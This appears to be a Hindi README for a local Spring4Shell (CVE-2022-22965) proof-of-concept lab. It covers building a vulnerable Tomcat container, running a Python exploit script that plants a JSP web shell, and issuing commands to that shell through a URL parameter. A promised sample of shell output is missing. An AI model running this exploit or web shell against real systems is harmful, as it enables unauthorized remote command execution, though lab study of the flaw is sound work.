
यह CVE-2022-22965 (spring4shell) भेद्यता के शोषण का एक प्रमाण-अवधारणा (proof of concept) है। यह निम्नलिखित से मिलकर बना है:
प्रोजेक्ट रूट फ़ोल्डर के अंदर एक Dockerfile है जो एक tomcat इमेज बनाता है और vulnerable_app/target/spring4shell.war तथा safe_app/target/safeapp.war फ़ाइलों को /usr/local/tomcat/webapps फ़ोल्डर के अंदर कॉपी करता है, इसलिए आपको बस इमेज बनानी है और कंटेनर शुरू करना है।
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
यदि आपको यह प्रतिक्रिया दिखाई देती है
This is Elliot Alderson
तो एप्लिकेशन चालू है और चल रहा है।
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
आप वैकल्पिक रूप से इंजेक्ट की गई jsp फ़ाइल का नाम निर्दिष्ट कर सकते हैं, लेकिन यह अनिवार्य नहीं है। उदाहरण
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
यदि आप कोई नाम निर्दिष्ट नहीं करते हैं, तो एक यादृच्छिक नाम उत्पन्न किया जाएगा।
आपको कमांड शेल में निम्नलिखित दिखाई देगा

शोषण के बाद आप HTTP GET अनुरोध के माध्यम से भी एक कमांड भेज सकते हैं
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
आपने पीड़ित मशीन पर सफलतापूर्वक एक शेल खोल लिया है! आनंद लीजिए!